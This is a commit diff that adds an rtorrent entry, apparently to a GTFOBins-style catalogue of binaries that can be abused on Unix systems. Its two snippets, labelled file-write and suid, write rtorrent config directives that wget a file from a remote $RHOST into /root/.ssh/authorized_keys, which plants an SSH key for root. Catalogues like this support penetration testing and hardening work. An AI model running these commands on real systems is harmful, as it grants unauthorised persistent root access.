Add rtorrent
parent
1999e48052
commit
3f4b4f3e24
|
@ -0,0 +1,18 @@
|
|||
---
|
||||
description: a BitTorrent client for ncurses.
|
||||
functions:
|
||||
file-write:
|
||||
- code: |
|
||||
cat >> ~/.rtorrent.rc <<EOF
|
||||
execute.throw = mkdir,/root/.ssh
|
||||
execute.throw = wget,http://$RHOST:$RPORT/$RFILE,-O,/root/.ssh/authorized_keys
|
||||
EOF
|
||||
rtorrent
|
||||
suid:
|
||||
- code: |
|
||||
cat >> ~/.rtorrent.rc <<EOF
|
||||
execute.throw = mkdir,/root/.ssh
|
||||
execute.throw = wget,http://$RHOST:$RPORT/$RFILE,-O,/root/.ssh/authorized_keys
|
||||
EOF
|
||||
./rtorrent
|
||||
---
|
Loading…
Reference in New Issue